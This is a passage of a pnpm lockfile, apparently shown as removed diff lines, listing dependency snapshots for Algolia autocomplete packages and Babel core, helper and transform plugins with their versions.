- - '@algolia/autocomplete-core@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0)': - dependencies: - '@algolia/autocomplete-plugin-algolia-insights': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0) - '@algolia/autocomplete-shared': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0) - transitivePeerDependencies: - - '@algolia/client-search' - - algoliasearch - - search-insights - - '@algolia/autocomplete-plugin-algolia-insights@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)(search-insights@2.15.0)': - dependencies: - '@algolia/autocomplete-shared': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0) - search-insights: 2.15.0 - transitivePeerDependencies: - - '@algolia/client-search' - - algoliasearch - - '@algolia/autocomplete-preset-algolia@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)': - dependencies: - '@algolia/autocomplete-shared': 1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0) - '@algolia/client-search': 4.24.0 - algoliasearch: 4.24.0 - - '@algolia/autocomplete-shared@1.9.3(@algolia/client-search@4.24.0)(algoliasearch@4.24.0)': - dependencies: - '@algolia/client-search': 4.24.0 - algoliasearch: 4.24.0 - - '@algolia/cache-browser-local-storage@4.24.0': - dependencies: - '@algolia/cache-common': 4.24.0 - - '@algolia/cache-common@4.24.0': {} - - '@algolia/cache-in-memory@4.24.0': - dependencies: - '@algolia/cache-common': 4.24.0 - - '@algolia/client-account@4.24.0': - dependencies: - '@algolia/client-common': 4.24.0 - '@algolia/client-search': 4.24.0 - '@algolia/transporter': 4.24.0 - - '@algolia/client-analytics@4.24.0': - dependencies: - '@algolia/client-common': 4.24.0 - '@algolia/client-search': 4.24.0 - '@algolia/requester-common': 4.24.0 - '@algolia/transporter': 4.24.0 - - '@algolia/client-common@4.24.0': - dependencies: - '@algolia/requester-common': 4.24.0 - '@algolia/transporter': 4.24.0 - - '@algolia/client-personalization@4.24.0': - dependencies: - '@algolia/client-common': 4.24.0 - '@algolia/requester-common': 4.24.0 - '@algolia/transporter': 4.24.0 - - '@algolia/client-search@4.24.0': - dependencies: - '@algolia/client-common': 4.24.0 - '@algolia/requester-common': 4.24.0 - '@algolia/transporter': 4.24.0 - - '@algolia/logger-common@4.24.0': {} - - '@algolia/logger-console@4.24.0': - dependencies: - '@algolia/logger-common': 4.24.0 - - '@algolia/recommend@4.24.0': - dependencies: - '@algolia/cache-browser-local-storage': 4.24.0 - '@algolia/cache-common': 4.24.0 - '@algolia/cache-in-memory': 4.24.0 - '@algolia/client-common': 4.24.0 - '@algolia/client-search': 4.24.0 - '@algolia/logger-common': 4.24.0 - '@algolia/logger-console': 4.24.0 - '@algolia/requester-browser-xhr': 4.24.0 - '@algolia/requester-common': 4.24.0 - '@algolia/requester-node-http': 4.24.0 - '@algolia/transporter': 4.24.0 - - '@algolia/requester-browser-xhr@4.24.0': - dependencies: - '@algolia/requester-common': 4.24.0 - - '@algolia/requester-common@4.24.0': {} - - '@algolia/requester-node-http@4.24.0': - dependencies: - '@algolia/requester-common': 4.24.0 - - '@algolia/transporter@4.24.0': - dependencies: - '@algolia/cache-common': 4.24.0 - '@algolia/logger-common': 4.24.0 - '@algolia/requester-common': 4.24.0 - - '@ampproject/remapping@2.3.0': - dependencies: - '@jridgewell/gen-mapping': 0.3.5 - '@jridgewell/trace-mapping': 0.3.25 - - '@apideck/better-ajv-errors@0.3.6(ajv@8.17.1)': - dependencies: - ajv: 8.17.1 - json-schema: 0.4.0 - jsonpointer: 5.0.1 - leven: 3.1.0 - - '@babel/code-frame@7.24.7': - dependencies: - '@babel/highlight': 7.24.7 - picocolors: 1.0.1 - - '@babel/compat-data@7.24.9': {} - - '@babel/core@7.24.9': - dependencies: - '@ampproject/remapping': 2.3.0 - '@babel/code-frame': 7.24.7 - '@babel/generator': 7.24.10 - '@babel/helper-compilation-targets': 7.24.8 - '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9) - '@babel/helpers': 7.24.8 - '@babel/parser': 7.24.8 - '@babel/template': 7.24.7 - '@babel/traverse': 7.24.8 - '@babel/types': 7.24.9 - convert-source-map: 2.0.0 - debug: 4.3.5 - gensync: 1.0.0-beta.2 - json5: 2.2.3 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - - '@babel/generator@7.24.10': - dependencies: - '@babel/types': 7.24.9 - '@jridgewell/gen-mapping': 0.3.5 - '@jridgewell/trace-mapping': 0.3.25 - jsesc: 2.5.2 - - '@babel/helper-annotate-as-pure@7.24.7': - dependencies: - '@babel/types': 7.24.9 - - '@babel/helper-builder-binary-assignment-operator-visitor@7.24.7': - dependencies: - '@babel/traverse': 7.24.8 - '@babel/types': 7.24.9 - transitivePeerDependencies: - - supports-color - - '@babel/helper-compilation-targets@7.24.8': - dependencies: - '@babel/compat-data': 7.24.9 - '@babel/helper-validator-option': 7.24.8 - browserslist: 4.23.2 - lru-cache: 5.1.1 - semver: 6.3.1 - - '@babel/helper-create-class-features-plugin@7.24.8(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-annotate-as-pure': 7.24.7 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-function-name': 7.24.7 - '@babel/helper-member-expression-to-functions': 7.24.8 - '@babel/helper-optimise-call-expression': 7.24.7 - '@babel/helper-replace-supers': 7.24.7(@babel/core@7.24.9) - '@babel/helper-skip-transparent-expression-wrappers': 7.24.7 - '@babel/helper-split-export-declaration': 7.24.7 - semver: 6.3.1 - transitivePeerDependencies: - - supports-color - - '@babel/helper-create-regexp-features-plugin@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-annotate-as-pure': 7.24.7 - regexpu-core: 5.3.2 - semver: 6.3.1 - - '@babel/helper-define-polyfill-provider@0.6.2(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-compilation-targets': 7.24.8 - '@babel/helper-plugin-utils': 7.24.8 - debug: 4.3.5 - lodash.debounce: 4.0.8 - resolve: 1.22.8 - transitivePeerDependencies: - - supports-color - - '@babel/helper-environment-visitor@7.24.7': - dependencies: - '@babel/types': 7.24.9 - - '@babel/helper-function-name@7.24.7': - dependencies: - '@babel/template': 7.24.7 - '@babel/types': 7.24.9 - - '@babel/helper-hoist-variables@7.24.7': - dependencies: - '@babel/types': 7.24.9 - - '@babel/helper-member-expression-to-functions@7.24.8': - dependencies: - '@babel/traverse': 7.24.8 - '@babel/types': 7.24.9 - transitivePeerDependencies: - - supports-color - - '@babel/helper-module-imports@7.24.7': - dependencies: - '@babel/traverse': 7.24.8 - '@babel/types': 7.24.9 - transitivePeerDependencies: - - supports-color - - '@babel/helper-module-transforms@7.24.9(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-module-imports': 7.24.7 - '@babel/helper-simple-access': 7.24.7 - '@babel/helper-split-export-declaration': 7.24.7 - '@babel/helper-validator-identifier': 7.24.7 - transitivePeerDependencies: - - supports-color - - '@babel/helper-optimise-call-expression@7.24.7': - dependencies: - '@babel/types': 7.24.9 - - '@babel/helper-plugin-utils@7.24.8': {} - - '@babel/helper-remap-async-to-generator@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-annotate-as-pure': 7.24.7 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-wrap-function': 7.24.7 - transitivePeerDependencies: - - supports-color - - '@babel/helper-replace-supers@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-member-expression-to-functions': 7.24.8 - '@babel/helper-optimise-call-expression': 7.24.7 - transitivePeerDependencies: - - supports-color - - '@babel/helper-simple-access@7.24.7': - dependencies: - '@babel/traverse': 7.24.8 - '@babel/types': 7.24.9 - transitivePeerDependencies: - - supports-color - - '@babel/helper-skip-transparent-expression-wrappers@7.24.7': - dependencies: - '@babel/traverse': 7.24.8 - '@babel/types': 7.24.9 - transitivePeerDependencies: - - supports-color - - '@babel/helper-split-export-declaration@7.24.7': - dependencies: - '@babel/types': 7.24.9 - - '@babel/helper-string-parser@7.24.8': {} - - '@babel/helper-validator-identifier@7.24.7': {} - - '@babel/helper-validator-option@7.24.8': {} - - '@babel/helper-wrap-function@7.24.7': - dependencies: - '@babel/helper-function-name': 7.24.7 - '@babel/template': 7.24.7 - '@babel/traverse': 7.24.8 - '@babel/types': 7.24.9 - transitivePeerDependencies: - - supports-color - - '@babel/helpers@7.24.8': - dependencies: - '@babel/template': 7.24.7 - '@babel/types': 7.24.9 - - '@babel/highlight@7.24.7': - dependencies: - '@babel/helper-validator-identifier': 7.24.7 - chalk: 2.4.2 - js-tokens: 4.0.0 - picocolors: 1.0.1 - - '@babel/parser@7.24.8': - dependencies: - '@babel/types': 7.24.9 - - '@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-skip-transparent-expression-wrappers': 7.24.7 - '@babel/plugin-transform-optional-chaining': 7.24.8(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - - '@babel/plugin-syntax-async-generators@7.8.4(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-class-properties@7.12.13(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-class-static-block@7.14.5(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-dynamic-import@7.8.3(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-export-namespace-from@7.8.3(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-import-assertions@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-import-attributes@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-import-meta@7.10.4(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-json-strings@7.8.3(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-logical-assignment-operators@7.10.4(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-nullish-coalescing-operator@7.8.3(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-numeric-separator@7.10.4(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-object-rest-spread@7.8.3(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-optional-catch-binding@7.8.3(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-optional-chaining@7.8.3(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-private-property-in-object@7.14.5(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-top-level-await@7.14.5(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-syntax-unicode-sets-regex@7.18.6(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-arrow-functions@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-async-generator-functions@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-remap-async-to-generator': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-async-to-generator@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-module-imports': 7.24.7 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-remap-async-to-generator': 7.24.7(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-block-scoped-functions@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-block-scoping@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-class-properties@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-class-static-block@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-classes@7.24.8(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-annotate-as-pure': 7.24.7 - '@babel/helper-compilation-targets': 7.24.8 - '@babel/helper-environment-visitor': 7.24.7 - '@babel/helper-function-name': 7.24.7 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-replace-supers': 7.24.7(@babel/core@7.24.9) - '@babel/helper-split-export-declaration': 7.24.7 - globals: 11.12.0 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-computed-properties@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/template': 7.24.7 - - '@babel/plugin-transform-destructuring@7.24.8(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-dotall-regex@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-duplicate-keys@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-dynamic-import@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.24.9) - - '@babel/plugin-transform-exponentiation-operator@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-builder-binary-assignment-operator-visitor': 7.24.7 - '@babel/helper-plugin-utils': 7.24.8 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-export-namespace-from@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.24.9) - - '@babel/plugin-transform-for-of@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-skip-transparent-expression-wrappers': 7.24.7 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-function-name@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-compilation-targets': 7.24.8 - '@babel/helper-function-name': 7.24.7 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-json-strings@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.24.9) - - '@babel/plugin-transform-literals@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-logical-assignment-operators@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.24.9) - - '@babel/plugin-transform-member-expression-literals@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-modules-amd@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-modules-commonjs@7.24.8(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-simple-access': 7.24.7 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-modules-systemjs@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-hoist-variables': 7.24.7 - '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-validator-identifier': 7.24.7 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-modules-umd@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-module-transforms': 7.24.9(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-named-capturing-groups-regex@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-new-target@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-nullish-coalescing-operator@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.24.9) - - '@babel/plugin-transform-numeric-separator@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.24.9) - - '@babel/plugin-transform-object-rest-spread@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-compilation-targets': 7.24.8 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-transform-parameters': 7.24.7(@babel/core@7.24.9) - - '@babel/plugin-transform-object-super@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-replace-supers': 7.24.7(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-optional-catch-binding@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.24.9) - - '@babel/plugin-transform-optional-chaining@7.24.8(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-skip-transparent-expression-wrappers': 7.24.7 - '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-parameters@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-private-methods@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-private-property-in-object@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-annotate-as-pure': 7.24.7 - '@babel/helper-create-class-features-plugin': 7.24.8(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.24.9) - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-property-literals@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-regenerator@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - regenerator-transform: 0.15.2 - - '@babel/plugin-transform-reserved-words@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-shorthand-properties@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-spread@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-skip-transparent-expression-wrappers': 7.24.7 - transitivePeerDependencies: - - supports-color - - '@babel/plugin-transform-sticky-regex@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-template-literals@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-typeof-symbol@7.24.8(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-unicode-escapes@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-unicode-property-regex@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-unicode-regex@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/plugin-transform-unicode-sets-regex@7.24.7(@babel/core@7.24.9)': - dependencies: - '@babel/core': 7.24.9 - '@babel/helper-create-regexp-features-plugin': 7.24.7(@babel/core@7.24.9) - '@babel/helper-plugin-utils': 7.24.8 - - '@babel/preset-env@7.24.8(@babel/core@7.24.9)': - dependencies: - '@babel/compat-data': 7.24.9 - '@babel/core': 7.24.9 - '@babel/helper-compilation-targets': 7.24.8 - '@babel/helper-plugin-utils': 7.24.8 - '@babel/helper-validator-option': 7.24.8 - '@babel/plugin-bugfix-firefox-class-in-computed-class-key': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-proposal-private-property-in-object': 7.21.0-placeholder-for-preset-env.2(@babel/core@7.24.9) - '@babel/plugin-syntax-async-generators': 7.8.4(@babel/core@7.24.9) - '@babel/plugin-syntax-class-properties': 7.12.13(@babel/core@7.24.9) - '@babel/plugin-syntax-class-static-block': 7.14.5(@babel/core@7.24.9) - '@babel/plugin-syntax-dynamic-import': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-syntax-export-namespace-from': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-syntax-import-assertions': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-syntax-import-attributes': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-syntax-import-meta': 7.10.4(@babel/core@7.24.9) - '@babel/plugin-syntax-json-strings': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-syntax-logical-assignment-operators': 7.10.4(@babel/core@7.24.9) - '@babel/plugin-syntax-nullish-coalescing-operator': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-syntax-numeric-separator': 7.10.4(@babel/core@7.24.9) - '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-syntax-optional-catch-binding': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-syntax-optional-chaining': 7.8.3(@babel/core@7.24.9) - '@babel/plugin-syntax-private-property-in-object': 7.14.5(@babel/core@7.24.9) - '@babel/plugin-syntax-top-level-await': 7.14.5(@babel/core@7.24.9) - '@babel/plugin-syntax-unicode-sets-regex': 7.18.6(@babel/core@7.24.9) - '@babel/plugin-transform-arrow-functions': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-async-generator-functions': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-async-to-generator': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-block-scoped-functions': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-block-scoping': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-class-properties': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-class-static-block': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-classes': 7.24.8(@babel/core@7.24.9) - '@babel/plugin-transform-computed-properties': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-destructuring': 7.24.8(@babel/core@7.24.9) - '@babel/plugin-transform-dotall-regex': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-duplicate-keys': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-dynamic-import': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-exponentiation-operator': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-export-namespace-from': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-for-of': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-function-name': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-json-strings': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-literals': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-logical-assignment-operators': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-member-expression-literals': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-modules-amd': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-modules-commonjs': 7.24.8(@babel/core@7.24.9) - '@babel/plugin-transform-modules-systemjs': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-modules-umd': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-named-capturing-groups-regex': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-new-target': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-nullish-coalescing-operator': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-numeric-separator': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-object-rest-spread': 7.24.7(@babel/core@7.24.9) - '@babel/plugin-transform-object-super': 7.24.7(@babel/core@7.24.9) - 